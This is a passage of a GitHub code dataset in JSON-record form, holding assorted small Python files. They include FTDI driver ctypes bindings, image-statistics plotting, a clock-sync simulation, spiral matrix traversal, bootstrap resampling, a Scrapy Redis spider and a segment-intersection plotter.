.\\ftd2xx.h:1282\"\"\"\nFT_W32_GetCommMask = _library.FT_W32_GetCommMask\nFT_W32_GetCommMask.restype = BOOL\n# FT_W32_GetCommMask(ftHandle, lpdwEventMask)\nFT_W32_GetCommMask.argtypes = [FT_HANDLE, LPDWORD]\nFT_W32_GetCommMask.__doc__ = \\\n    \"\"\"BOOL FT_W32_GetCommMask(FT_HANDLE ftHandle, LPDWORD lpdwEventMask)\n    .\\ftd2xx.h:1288\"\"\"\nFT_W32_SetCommState = _library.FT_W32_SetCommState\nFT_W32_SetCommState.restype = BOOL\n# FT_W32_SetCommState(ftHandle, lpftDcb)\nFT_W32_SetCommState.argtypes = [FT_HANDLE, LPFTDCB]\nFT_W32_SetCommState.__doc__ = \\\n    \"\"\"BOOL FT_W32_SetCommState(FT_HANDLE ftHandle, LPFTDCB lpftDcb)\n    .\\ftd2xx.h:1294\"\"\"\nFT_W32_SetCommTimeouts = _library.FT_W32_SetCommTimeouts\nFT_W32_SetCommTimeouts.restype = BOOL\n# FT_W32_SetCommTimeouts(ftHandle, pTimeouts)\nFT_W32_SetCommTimeouts.argtypes = [FT_HANDLE, _ctypes.POINTER(struct__FTTIMEOUTS)]\nFT_W32_SetCommTimeouts.__doc__ = \\\n    \"\"\"BOOL FT_W32_SetCommTimeouts(FT_HANDLE ftHandle, LP_struct__FTTIMEOUTS pTimeouts)\n    .\\ftd2xx.h:1300\"\"\"\nFT_W32_SetupComm = _library.FT_W32_SetupComm\nFT_W32_SetupComm.restype = BOOL\n# FT_W32_SetupComm(ftHandle, dwReadBufferSize, dwWriteBufferSize)\nFT_W32_SetupComm.argtypes = [FT_HANDLE, DWORD, DWORD]\nFT_W32_SetupComm.__doc__ = \\\n    \"\"\"BOOL FT_W32_SetupComm(FT_HANDLE ftHandle, DWORD dwReadBufferSize, DWORD dwWriteBufferSize)\n    .\\ftd2xx.h:1306\"\"\"\nFT_W32_WaitCommEvent = _library.FT_W32_WaitCommEvent\nFT_W32_WaitCommEvent.restype = BOOL\n# FT_W32_WaitCommEvent(ftHandle, pulEvent, lpOverlapped)\nFT_W32_WaitCommEvent.argtypes = [FT_HANDLE, PULONG, LPOVERLAPPED]\nFT_W32_WaitCommEvent.__doc__ = \\\n    \"\"\"BOOL FT_W32_WaitCommEvent(FT_HANDLE ftHandle, PULONG pulEvent, LPOVERLAPPED lpOverlapped)\n    .\\ftd2xx.h:1313\"\"\"\nFT_CreateDeviceInfoList = _library.FT_CreateDeviceInfoList\nFT_CreateDeviceInfoList.restype = FT_STATUS\n# FT_CreateDeviceInfoList(lpdwNumDevs)\nFT_CreateDeviceInfoList.argtypes = [LPDWORD]\nFT_CreateDeviceInfoList.__doc__ = \\\n    \"\"\"FT_STATUS FT_CreateDeviceInfoList(LPDWORD lpdwNumDevs)\n    .\\ftd2xx.h:1342\"\"\"\nFT_GetDeviceInfoList = _library.FT_GetDeviceInfoList\nFT_GetDeviceInfoList.restype = FT_STATUS\n# FT_GetDeviceInfoList(pDest, lpdwNumDevs)\nFT_GetDeviceInfoList.argtypes = [_ctypes.POINTER(struct__ft_device_list_info_node), LPDWORD]\nFT_GetDeviceInfoList.__doc__ = \\\n    \"\"\"FT_STATUS FT_GetDeviceInfoList(LP_struct__ft_device_list_info_node pDest, LPDWORD lpdwNumDevs)\n    .\\ftd2xx.h:1347\"\"\"\nFT_GetDeviceInfoDetail = _library.FT_GetDeviceInfoDetail\nFT_GetDeviceInfoDetail.restype = FT_STATUS\n# FT_GetDeviceInfoDetail(dwIndex, lpdwFlags, lpdwType, lpdwID, lpdwLocId, lpSerialNumber, lpDescription, pftHandle)\nFT_GetDeviceInfoDetail.argtypes = [DWORD, LPDWORD, LPDWORD, LPDWORD, LPDWORD, LPVOID, LPVOID, _ctypes.POINTER(_ctypes.POINTER(None))]\nFT_GetDeviceInfoDetail.__doc__ = \\\n    \"\"\"FT_STATUS FT_GetDeviceInfoDetail(DWORD dwIndex, LPDWORD lpdwFlags, LPDWORD lpdwType, LPDWORD lpdwID, LPDWORD lpdwLocId, LPVOID lpSerialNumber, LPVOID lpDescription, LP_LP_None pftHandle)\n    .\\ftd2xx.h:1353\"\"\"\nFT_GetDriverVersion = _library.FT_GetDriverVersion\nFT_GetDriverVersion.restype = FT_STATUS\n# FT_GetDriverVersion(ftHandle, lpdwVersion)\nFT_GetDriverVersion.argtypes = [FT_HANDLE, LPDWORD]\nFT_GetDriverVersion.__doc__ = \\\n    \"\"\"FT_STATUS FT_GetDriverVersion(FT_HANDLE ftHandle, LPDWORD lpdwVersion)\n    .\\ftd2xx.h:1370\"\"\"\nFT_GetLibraryVersion = _library.FT_GetLibraryVersion\nFT_GetLibraryVersion.restype = FT_STATUS\n# FT_GetLibraryVersion(lpdwVersion)\nFT_GetLibraryVersion.argtypes = [LPDWORD]\nFT_GetLibraryVersion.__doc__ = \\\n    \"\"\"FT_STATUS FT_GetLibraryVersion(LPDWORD lpdwVersion)\n    .\\ftd2xx.h:1376\"\"\"\nFT_Rescan = _library.FT_Rescan\nFT_Rescan.restype = FT_STATUS\n# FT_Rescan()\nFT_Rescan.argtypes = []\nFT_Rescan.__doc__ = \\\n    \"\"\"FT_STATUS FT_Rescan()\n    .\\ftd2xx.h:1382\"\"\"\nFT_Reload = _library.FT_Reload\nFT_Reload.restype = FT_STATUS\n# FT_Reload(wVid, wPid)\nFT_Reload.argtypes = [WORD, WORD]\nFT_Reload.__doc__ = \\\n    \"\"\"FT_STATUS FT_Reload(WORD wVid, WORD wPid)\n    .\\ftd2xx.h:1387\"\"\"\nFT_GetComPortNumber = _library.FT_GetComPortNumber\nFT_GetComPortNumber.restype = FT_STATUS\n# FT_GetComPortNumber(ftHandle, lpdwComPortNumber)\nFT_GetComPortNumber.argtypes = [FT_HANDLE, LPLONG]\nFT_GetComPortNumber.__doc__ = \\\n    \"\"\"FT_STATUS FT_GetComPortNumber(FT_HANDLE ftHandle, LPLONG lpdwComPortNumber)\n    .\\ftd2xx.h:1393\"\"\"\nFT_EE_ReadConfig = _library.FT_EE_ReadConfig\nFT_EE_ReadConfig.restype = FT_STATUS\n# FT_EE_ReadConfig(ftHandle, ucAddress, pucValue)\nFT_EE_ReadConfig.argtypes = [FT_HANDLE, UCHAR, PUCHAR]\nFT_EE_ReadConfig.__doc__ = \\\n    \"\"\"FT_STATUS FT_EE_ReadConfig(FT_HANDLE ftHandle, UCHAR ucAddress, PUCHAR pucValue)\n    .\\ftd2xx.h:1404\"\"\"\nFT_EE_WriteConfig = _library.FT_EE_WriteConfig\nFT_EE_WriteConfig.restype = FT_STATUS\n# FT_EE_WriteConfig(ftHandle, ucAddress, ucValue)\nFT_EE_WriteConfig.argtypes = [FT_HANDLE, UCHAR, UCHAR]\nFT_EE_WriteConfig.__doc__ = \\\n    \"\"\"FT_STATUS FT_EE_WriteConfig(FT_HANDLE ftHandle, UCHAR ucAddress, UCHAR ucValue)\n    .\\ftd2xx.h:1411\"\"\"\nFT_EE_ReadECC = _library.FT_EE_ReadECC\nFT_EE_ReadECC.restype = FT_STATUS\n# FT_EE_ReadECC(ftHandle, ucOption, lpwValue)\nFT_EE_ReadECC.argtypes = [FT_HANDLE, UCHAR, LPWORD]\nFT_EE_ReadECC.__doc__ = \\\n    \"\"\"FT_STATUS FT_EE_ReadECC(FT_HANDLE ftHandle, UCHAR ucOption, LPWORD lpwValue)\n    .\\ftd2xx.h:1418\"\"\"\nFT_GetQueueStatusEx = _library.FT_GetQueueStatusEx\nFT_GetQueueStatusEx.restype = FT_STATUS\n# FT_GetQueueStatusEx(ftHandle, dwRxBytes)\nFT_GetQueueStatusEx.argtypes = [FT_HANDLE, _ctypes.POINTER(_ctypes.c_uint32)]\nFT_GetQueueStatusEx.__doc__ = \\\n    \"\"\"FT_STATUS FT_GetQueueStatusEx(FT_HANDLE ftHandle, LP_ctypes_uint32 dwRxBytes)\n    .\\ftd2xx.h:1425\"\"\"\nFT_ComPortIdle = _library.FT_ComPortIdle\nFT_ComPortIdle.restype = FT_STATUS\n# FT_ComPortIdle(ftHandle)\nFT_ComPortIdle.argtypes = [FT_HANDLE]\nFT_ComPortIdle.__doc__ = \\\n    \"\"\"FT_STATUS FT_ComPortIdle(FT_HANDLE ftHandle)\n    .\\ftd2xx.h:1431\"\"\"\nFT_ComPortCancelIdle = _library.FT_ComPortCancelIdle\nFT_ComPortCancelIdle.restype = FT_STATUS\n# FT_ComPortCancelIdle(ftHandle)\nFT_ComPortCancelIdle.argtypes = [FT_HANDLE]\nFT_ComPortCancelIdle.__doc__ = \\\n    \"\"\"FT_STATUS FT_ComPortCancelIdle(FT_HANDLE ftHandle)\n    .\\ftd2xx.h:1436\"\"\"\nFT_VendorCmdGet = _library.FT_VendorCmdGet\nFT_VendorCmdGet.restype = FT_STATUS\n# FT_VendorCmdGet(ftHandle, Request, Buf, Len)\nFT_VendorCmdGet.argtypes = [FT_HANDLE, UCHAR, _ctypes.POINTER(_ctypes.c_ubyte), USHORT]\nFT_VendorCmdGet.__doc__ = \\\n    \"\"\"FT_STATUS FT_VendorCmdGet(FT_HANDLE ftHandle, UCHAR Request, LP_ctypes_ubyte Buf, USHORT Len)\n    .\\ftd2xx.h:1441\"\"\"\nFT_VendorCmdSet = _library.FT_VendorCmdSet\nFT_VendorCmdSet.restype = FT_STATUS\n# FT_VendorCmdSet(ftHandle, Request, Buf, Len)\nFT_VendorCmdSet.argtypes = [FT_HANDLE, UCHAR, _ctypes.POINTER(_ctypes.c_ubyte), USHORT]\nFT_VendorCmdSet.__doc__ = \\\n    \"\"\"FT_STATUS FT_VendorCmdSet(FT_HANDLE ftHandle, UCHAR Request, LP_ctypes_ubyte Buf, USHORT Len)\n    .\\ftd2xx.h:1449\"\"\"\nFT_VendorCmdGetEx = _library.FT_VendorCmdGetEx\nFT_VendorCmdGetEx.restype = FT_STATUS\n# FT_VendorCmdGetEx(ftHandle, wValue, Buf, Len)\nFT_VendorCmdGetEx.argtypes = [FT_HANDLE, USHORT, _ctypes.POINTER(_ctypes.c_ubyte), USHORT]\nFT_VendorCmdGetEx.__doc__ = \\\n    \"\"\"FT_STATUS FT_VendorCmdGetEx(FT_HANDLE ftHandle, USHORT wValue, LP_ctypes_ubyte Buf, USHORT Len)\n    .\\ftd2xx.h:1457\"\"\"\nFT_VendorCmdSetEx = _library.FT_VendorCmdSetEx\nFT_VendorCmdSetEx.restype = FT_STATUS\n# FT_VendorCmdSetEx(ftHandle, wValue, Buf, Len)\nFT_VendorCmdSetEx.argtypes = [FT_HANDLE, USHORT, _ctypes.POINTER(_ctypes.c_ubyte), USHORT]\nFT_VendorCmdSetEx.__doc__ = \\\n    \"\"\"FT_STATUS FT_VendorCmdSetEx(FT_HANDLE ftHandle, USHORT wValue, LP_ctypes_ubyte Buf, USHORT Len)\n    .\\ftd2xx.h:1465\"\"\"\n","repo_name":"JulianS-Uni/pyftd2xx","sub_path":"pyftd2xx/_ftd2xx.py","file_name":"_ftd2xx.py","file_ext":"py","file_size_in_byte":43239,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"60"}
+{"seq_id":"70896156992","text":"'''\r\nCreated on 02 set 2017\r\n\r\n@author: davide\r\n'''\r\n\r\n'''\r\n    Demonstrate some statistical manipulation on the celebs images dataset\r\n    Loosily based on Kadenze's Parag K. Mital course\r\n'''\r\n\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\nplt.style.use('ggplot')\r\n\r\nfrom libs import utils\r\n\r\nfiles = utils.get_celeb_files() \r\nn = list(utils.sample_without_replacement(len(files), 1))[0]\r\nprint(\"Read and plot image n. \" + str(n) + \", \" + files[n] + \"...\")\r\nimg = plt.imread(files[n])\r\nprint('image no. ' + str(n) + ', ' + files[n] + ', has shape: ' + str(img.shape) + '.')\r\nprint(img)\r\nplt.imshow(img)\r\nplt.title('image no. ' + str(n) + ', ' + files[n])\r\nplt.show()\r\n\r\nprint(\"Plot image n. \" + str(n) + \", \" + files[n] + \" as separate RGB channels...\")\r\nplt.figure()\r\nplt.subplot(141)\r\nplt.imshow(img)\r\nplt.subplot(142)\r\nplt.imshow(img[:, :, 0], cmap = 'Reds')\r\nplt.subplot(143)\r\nplt.imshow(img[:, :, 1], cmap = 'Greens')\r\nplt.subplot(144)\r\nplt.imshow(img[:, :, 2], cmap = 'Blues')\r\nplt.show()\r\n\r\nprint(\"Read all images....\")\r\nimgs = utils.get_celeb_imgs()\r\n\r\n# Turn into batch array\r\ndata = np.array(imgs)\r\n\r\nprint(\"Compute and plot mean and standard deviation images...\")\r\nimg_mean = np.mean(data, axis = 0)\r\nimg_stddev = np.std(data, axis = 0)\r\n\r\nplt.figure()\r\nplt.suptitle(\"Dataset's mean and std dev images\" , fontsize = 16)\r\nplt.subplot(121)\r\nplt.title('Mean image')\r\nplt.imshow(img_mean.astype(np.uint8))\r\nplt.subplot(122)\r\nplt.title('Std dev image')\r\nplt.imshow(img_stddev.astype(np.uint8))\r\nplt.show()\r\n\r\n# Histogram of R, G, B for the n-th image\r\nprint(\"Compute and plot histograms and estimated densities...\")\r\nplt.figure()\r\nplt.subplot(141)\r\nplt.imshow(imgs[n])\r\nplt.subplot(142)\r\nplt.hist(imgs[n][:, :, 0])\r\nplt.subplot(143)\r\nplt.hist(imgs[n][:, :, 1])\r\nplt.subplot(144)\r\nplt.hist(imgs[n][:, :, 2])\r\nplt.show()\r\n\r\nplt.figure()\r\nkwargs = dict(histtype = 'stepfilled', alpha = 0.3, bins = 255)\r\nplt.hist(imgs[n][:, :, 0].ravel(), **kwargs)\r\nplt.hist(imgs[n][:, :, 1].ravel(), **kwargs)\r\nplt.hist(imgs[n][:, :, 2].ravel(), **kwargs)\r\nplt.title(\"RGB histogram of image \" + str(n) + \", \" + files[n] + \".\\n(matplotlib)\")\r\nplt.show()\r\n\r\nimport seaborn as sns\r\nsns.set(color_codes=True)\r\nsns.distplot(imgs[n][:, :, 0].ravel())\r\nplt.title(\"Red histogram of image \" + str(n) + \", \" + files[n] + \".\\n(seaborn)\")\r\nplt.show()\r\n\r\ncolours = ('r', 'g', 'b')\r\nfor i, colour in enumerate(colours):\r\n    sns.distplot(imgs[n][:, :, i].ravel(), color = colour)\r\nplt.title(\"RGB histogram of image \" + str(n) + \", \" + files[n] + \".\\n(seaborn)\")\r\nplt.show()\r\n\r\nplt.hist(np.array(imgs).ravel(), 255)\r\nplt.title('Histogram of all images: np.array(imgs).ravel()\\n(matplotlib)')\r\nplt.show()\r\n\r\ncolours = ('r', 'g', 'b')\r\nfor i, colour in enumerate(colours):\r\n    sns.distplot(img_mean[:, :, i].ravel(), color = colour)\r\nplt.title(\"RGB histogram of MEAN image\\n(seaborn)\")\r\nplt.show()\r\n\r\n# Images normalization\r\nplt.figure()\r\nplt.subplot(421)\r\nplt.imshow(img[n])\r\nplt.subplot(422)\r\nsns.distplot(img[n].ravel())\r\nplt.title('Image'+ str(n) + \", \" + files[n])\r\n\r\nplt.subplot(423)\r\nplt.imshow(img_mean.astype(np.uint8))\r\nplt.subplot(424)\r\nsns.distplot(img_mean.astype(np.uint8).ravel())\r\nplt.title('Mean image')\r\n\r\nimg_nomean = img[n] - img_mean\r\nplt.subplot(425)\r\nplt.imshow(img_nomean.astype(np.uint8))\r\nplt.subplot(426)\r\nsns.distplot(img_nomean.astype(np.uint8).ravel())\r\nplt.title('Image  - mean image')\r\n\r\nimg_normal = img_mean/img_stddev\r\nplt.subplot(427)\r\nplt.imshow(img_normal.astype(np.uint8))\r\nplt.subplot(428)\r\nsns.distplot(img_normal.astype(np.uint8).ravel())\r\nplt.title('Normalized image')\r\n\r\nplt.show()\r\nprint('Done.')","repo_name":"davidedr/Ng-s-Neural-Networks-and-Deep-Learning","sub_path":"src/image_manipulation/img_manipulation.py","file_name":"img_manipulation.py","file_ext":"py","file_size_in_byte":3625,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"26173050562","text":"# import time\r\n# import random\r\n\r\n# # Function to calculate the average time\r\n# def calculate_average_time(times):\r\n#     return sum(times) / len(times)\r\n\r\n# # Function to adjust the clocks\r\n# def adjust_clocks(times, average_time):\r\n#     adjusted_times = []\r\n#     for t in times:\r\n#         adjusted_time = t + average_time\r\n#         adjusted_times.append(adjusted_time)\r\n#     return adjusted_times\r\n\r\n# # Function to simulate clock synchronization using the Berkeley algorithm\r\n# def berkeley_algorithm(times):\r\n#     # Calculate the average time\r\n#     average_time = calculate_average_time(times)\r\n\r\n#     # Adjust the clocks\r\n#     adjusted_times = adjust_clocks(times, average_time)\r\n\r\n#     # Display the adjusted times\r\n#     print(\"Adjusted Times:\")\r\n#     for i, t in enumerate(adjusted_times):\r\n#         print(f\"Clock {i+1}: {t}\")\r\n\r\n# # Example usage\r\n# if __name__ == '__main__':\r\n#     # Generate random clock times\r\n#     num_clocks = 5\r\n#     clock_times = [random.randint(1, 10) for _ in range(num_clocks)]\r\n\r\n#     # Display the initial clock times\r\n#     print(\"Initial Times:\")\r\n#     for i, t in enumerate(clock_times):\r\n#         print(f\"Clock {i+1}: {t}\")\r\n\r\n#     # Simulate clock synchronization using the Berkeley algorithm\r\n#     berkeley_algorithm(clock_times)\r\n\r\n\r\n \r\nimport time\r\nimport random\r\n \r\n# Function to calculate the average time\r\ndef calculate_average_time(times):\r\n    total_time = sum(times)\r\n    average_time = total_time / len(times)\r\n    return average_time\r\n \r\n# Function to simulate clock drift\r\ndef simulate_clock_drift(local_time):\r\n    drift = random.uniform(-0.1, 0.1)  # Random clock drift between -0.1 and 0.1\r\n    local_time += drift\r\n    return local_time\r\n \r\n# Function to synchronize clocks using the Berkeley algorithm\r\ndef berkeley_algorithm(times):\r\n    local_time = time.time()  # Get local time\r\n    local_time = simulate_clock_drift(local_time)  # Simulate clock drift\r\n    average_time = calculate_average_time(times)  # Calculate average time\r\n \r\n    adjustment = average_time - local_time  # Calculate the adjustment needed\r\n \r\n    # Adjust the local clock\r\n    local_time += adjustment\r\n \r\n    return local_time\r\n \r\n# Main function\r\ndef main():\r\n    num_servers = 5\r\n    times = []\r\n \r\n    # Simulate the clock times of the servers\r\n    for i in range(num_servers):\r\n        server_time = time.time() + random.uniform(-1, 1)  # Random server time with clock drift\r\n        times.append(server_time)\r\n \r\n    print(\"Initial server times:\", times)\r\n \r\n    synchronized_time = berkeley_algorithm(times)\r\n \r\n    print(\"Synchronized time:\", synchronized_time)\r\n \r\nif __name__ == '__main__':\r\n    main()","repo_name":"yashbehare/LP5","sub_path":"ass4/ass4.py","file_name":"ass4.py","file_ext":"py","file_size_in_byte":2668,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"35923924057","text":"# Write a function that takes in an n x m two-dimensional array\n# (that can be square-shaped when n==m) and returns a one-dimensional array of all the array's\n# elements in spiral order; Spiral order starts at the top left corner of the two-dimensional array, goes\n# to the right, and proceeds in a spiral pattern all the way until every element has been visited\n\nmat=[[1,2,3,4],[12,13,14,5],[11,16,15,6],[10,9,8,7]]\n\n# 1st, \"pythonic\" version\ndef spiralTraverse(matrix):\n    arr_to_sort=[]\n    for element in matrix:\n        arr_to_sort.extend(element)\n    arr_to_sort.sort()\n    return arr_to_sort\n\nprint(spiralTraverse(mat))\n\n# 2nd, with algorithmic approach\ndef spiralTraverse(matrix):\n    sC,eC,sR,eR=0,len(matrix[0])-1,0,len(matrix)-1\n    spiral_list=[]\n    while len(matrix)*len(matrix[0]) != len(spiral_list):\n        for x in range(sC,eC+1):\n            spiral_list.append(matrix[sC][x])\n        for y in range(sR+1,eR+1):\n            spiral_list.append(matrix[y][eC])\n        for z in range(eC-1,sC-1,-1):\n            if sR==eR:break\n            spiral_list.append(matrix[eR][z])\n        for k in range(eR-1,sR,-1):\n            if sC==eC:break\n            spiral_list.append(matrix[k][sC])\n        sC+=1\n        eC-=1\n        sR+=1\n        eR-=1\n    return spiral_list\n\n","repo_name":"piotrbelda/PythonAlgorithms","sub_path":"SpiralTraverse.py","file_name":"SpiralTraverse.py","file_ext":"py","file_size_in_byte":1280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"32026724521","text":"import numpy as np\nimport pandas as pd\n\nfrom datetime import date\n\nfrom pathlib import Path\nimport os\nfrom Functions.func_smth_spl import spl\n\ndef func_number_errors(dat, dat_smooth, n_forecast=28):\n    '''\n    return:\n        number of zeros in smooth errors\n        number of non-zeros in smooth errors\n        number of non-zeros for bootstrap errors\n    '''\n\n    e_u = np.array(dat - dat_smooth)\n    \n    i0 = 0  # obtain index with first non-zero\n\n    for i in range(len(e_u)):\n        if e_u[i] != 0:\n            i0 = i\n            break\n\n    len_nonzero_e = len(e_u) - i0\n\n    len_nonzero_e_bst = len_nonzero_e + n_forecast\n\n    rst = {\n        \"zeros\": i0,\n        \"non-zeros\": len_nonzero_e,\n        \"bootstrap_non-zeros_errors\": len_nonzero_e_bst,\n        \"e_u\": e_u\n    }\n\n    return rst\n\n\ndef func_dataForSimuation(dat, dat_smooth, FIX_PT, p, path_data, n_blocks=10, N_sample=1000, n_forecast=28):\n    \n    N = len(dat)\n\n    errs = func_number_errors(dat, dat_smooth)\n    e_u = errs[\"e_u\"]\n    i0 = errs[\"zeros\"]\n    len_nonzero_e_bst = errs[\"bootstrap_non-zeros_errors\"]\n    len_block = int(len_nonzero_e_bst/n_blocks)\n\n    e_u_0 = e_u[:(len(e_u)+n_forecast-len_block*n_blocks)]\n    e_u_neq = e_u[i0:]\n\n    np.random.seed(1014)\n    starts = np.empty((N_sample, n_blocks))\n    for i in range(N_sample):\n        starts[i] = np.random.choice(\n            int(len(e_u_neq) - len_block), n_blocks, replace=False)\n\n    starts = starts.astype('int32')\n\n    sample_e = np.empty((N_sample, n_blocks*len_block))\n\n    for j in range(N_sample):\n        start = starts[j]\n        eee = np.array([])\n\n        for i in range(n_blocks):\n            eee = np.append(eee, np.array(e_u_neq[start[i]:(start[i]+len_block)]))\n\n        sample_e[j] = eee\n\n\n    sample_e = sample_e[:, -len_nonzero_e_bst:]\n\n    # add zeros at the beginning\n    E_0 = np.broadcast_to(e_u_0, (N_sample, len(e_u_0)))  # zeros\n\n    sample_e = np.concatenate((E_0, sample_e), axis=1)\n    \n    sample_e_model = sample_e[:, :-n_forecast]\n    sample_e_forecast = sample_e[:, -n_forecast:]\n\n\n    dat_sample = np.empty(sample_e_model.shape)\n    for i in range(len(dat_sample)):\n        tem = dat_smooth + sample_e_model[i]\n        # tem[-28:] = dat_log_model[-28:]  # keep the last 28 day no change\n        dat_sample[i] = tem    \n\n    # smooth \n    dat_sample_Smooth = []\n\n    # i1 = 53\n    for i in range(len(dat_sample)):\n        yy = np.array(dat_sample[i])\n\n        # spl_rst = spl(yy, i1=i1, p=p_v, fixEnd=1)\n        spl_rst = spl(yy,  p, fixEndPoint=FIX_PT, i1=53, plot=False)\n        spl_rst[spl_rst < 0] = 0\n\n        dat_sample_Smooth.append(spl_rst)\n\n\n    # save\n    dat_sample = pd.DataFrame(dat_sample).T\n    dat_sample_Smooth = pd.DataFrame(dat_sample_Smooth).T\n# print(dat_sample.shape)\n\n\n# ## save\n    today = str(date.today())\n    path_data = os.path.join(path_data, today)\n    # print(path_data)\n    Path(path_data).mkdir(parents=True, exist_ok=True)\n\n\n    nm_tem = str(N) + \"_p\" + str(p)\n\n    # ## sample data to be used in model\n    file_name_sp = nm_tem + '_dat_sample' + '.csv'\n    path_sp = os.path.join(path_data, file_name_sp)\n    dat_sample.to_csv(path_sp, index=False)\n\n\n    # ## sample smooth data to be used in model\n    file_name_sed = nm_tem + '_dat_sample_Smooth' + '.csv'\n    path_sed = os.path.join(path_data, file_name_sed)\n    dat_sample_Smooth.to_csv(path_sed, index=False)\n    # print(dat_sample_Smooth.shape)\n\n    # # ## sample errors in model\n    sample_e_model_df = pd.DataFrame(sample_e_model.T)\n    file_name_se = nm_tem + \"_sample_e_model\" + '.csv'\n    path_se = os.path.join(path_data, file_name_se)\n    sample_e_model_df.to_csv(path_se, index=False)\n\n    ## sample errors for forecasting\n    sample_e_forecast_df = pd.DataFrame(sample_e_forecast.T)\n    file_name_sf = nm_tem + '_sample_e_forecast'+'.csv'\n    path_sf = os.path.join(path_data, file_name_sf)\n    sample_e_forecast_df.to_csv(path_sf, index=False)\n\n    # rst = {\n    #     \"dat_sample\": dat_sample,\n    #     \"sample_e_model\": sample_e_model,\n    #     \"sample_e_forecast\": sample_e_forecast\n    # }\n    # return rst\n","repo_name":"Devin-Wong/Adaptive_Learning","sub_path":"Functions/func_Simuation.py","file_name":"func_Simuation.py","file_ext":"py","file_size_in_byte":4086,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"8948138530","text":"'''\nНайдите сумму цифр трехзначного числа.\n*Пример:*\n\n123 -> 6 (1 + 2 + 3)\n100 -> 1 (1 + 0 + 0) |\n\n\n\nn = int(input('Введите трехзначное число'))\nm = 0\n\nwhile n:\n    m = m + n % 10\n    n = n // 10\n\n\n\nprint(m)\n'''\n\nn = 432\nsumma = 0\nwhile n > 0:\n    x = n % 10\n    summa += x\n    n //= 10\nprint(summa)    ","repo_name":"MakkaRm12/PYTHON","sub_path":"homework_1.py","file_name":"homework_1.py","file_ext":"py","file_size_in_byte":365,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"38530109034","text":"# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this\n# file, You can obtain one at https://mozilla.org/MPL/2.0/.\n\nfor i in range(int(input())):\n    answer = \"Impossible\"\n    a,b,c = map(int, input().split())\n    \n    if a + b == c or a - b == c or b - a == c or a * b == c or a / b == c or b / a == c:\n        answer = \"Possible\"\n        \n    print(answer)\n","repo_name":"shakenn0tstirred/kattis","sub_path":"numberfun.py","file_name":"numberfun.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"71615991870","text":"__author__ = 'xiezhi@letv.com (Xie Zhi)'\n\nfrom scrapy import signals\nfrom scrapy.exceptions import DontCloseSpider\nfrom scrapy.spiders import Spider\n\nfrom le_crawler.core.queue_cluster import StrDataQueueCluster\nfrom le_crawler.core.queue import DataSet\nfrom le_crawler.core.connection import from_settings\n\nPRIORITY_QUEUE_SHARD_DIST = [1]\n\nclass RedisMixin(object):\n    \"\"\"Mixin class to implement reading urls from a redis queue.\"\"\"\n    redis_key = None  # use default '<spider>:start_urls'\n\n    def setup_redis(self):\n        \"\"\"Setup redis connection and idle signal.\n\n        This should be called after the spider has set its crawler object.\n        \"\"\"\n        if not self.redis_key:\n            self.redis_key = '%s:start_urls' % self.name\n\n        servers = from_settings(self.crawler.settings)\n        # idle signal is called when the spider has no requests left,\n        # that's when we will schedule new requests from redis queue\n        self.crawler.signals.connect(self.spider_idle, signal=signals.spider_idle)\n        self.log(\"Reading URLs from redis list '%s'\" % self.redis_key)\n        queue_shard_dist = self.crawler.settings.get(\n          'PRIORITY_QUEUE_SHARD_DIST', PRIORITY_QUEUE_SHARD_DIST)\n        self.queues = StrDataQueueCluster(\n            servers, self.redis_key, DataSet, queue_shard_dist)\n\n    def next_request(self):\n        \"\"\"Returns a request to be scheduled or none.\"\"\"\n        url = self.queues.pop()\n        if url:\n            return self.make_requests_from_url(url)\n\n    def spider_idle(self):\n        \"\"\"Schedules a request if available, otherwise waits.\"\"\"\n        req = self.next_request()\n        if req:\n            self.crawler.engine.crawl(req, spider=self)\n        raise DontCloseSpider\n\nclass RedisSpider(RedisMixin, Spider):\n    \"\"\"Spider that reads urls from redis queue when idle.\"\"\"\n\n    def set_crawler(self, crawler):\n        super(RedisSpider, self).set_crawler(crawler)\n        self.setup_redis()\n","repo_name":"cash2one/crawl_youtube","sub_path":"le_crawler/old_spiders/le_spiders.py","file_name":"le_spiders.py","file_ext":"py","file_size_in_byte":1958,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"27388395182","text":"from glibrary import Point, Vector, Line\nfrom etree import *\nfrom ttree import *\nimport matplotlib.pyplot as plt\nfrom matplotlib import collections  as mc\n\nINPUT_FILE = 'input/0.in'\n\nanimated = False\nsingle_plot = True\nlive_output = True # prints output on the go or at the end\n\n# function that creates and saves a plot frame\ndef paint(p):\n\tglobal R\n\tglobal ev\n\tglobal f\n\tglobal etree\n\n\tplt_segs = []\n\tin_array = Q.inorder(etree.root)\n\tq_xs = []\n\tq_ys = []\n\n\t# queue of events gathering\n\tfor e in in_array:\n\t\tq_xs.append(e.point.x)\n\t\tq_ys.append(e.point.y)\n\n\t# segment coordinate gathering\n\tfor i in range(len(tot_seg)):\n\t\tbegin = tuple([tot_seg[i].start.x, tot_seg[i].start.y])\n\t\tend = tuple([tot_seg[i].end.x, tot_seg[i].end.y])\n\t\tplt_segs.append([begin, end])\n\n\tx = [e.point.x for e in ev]\n\ty = [e.point.y for e in ev]\n\tR_plot = R\n\t#R_plot = [p for p in R if not (p in tot_pts)]\n\n\txr = [p.x for p in R_plot]\n\tyr = [p.y for p in R_plot]\n\n\tfig = plt.figure()\n\tfig.add_subplot()\n\tax1 = plt.gca()\n\n\tax1.scatter(x, y, s=100, marker=\"x\", linewidths=2) # segment start and ends\n\tax1.scatter(q_xs, q_ys, s=100, marker=\"o\", color=\"green\", zorder=10) # queue event points\n\tax1.scatter(xr, yr, s=100, marker=\"P\", color=\"red\", zorder=20) # intersections found\n\tax1.add_collection(mc.LineCollection(plt_segs, linewidths=2)) # segment 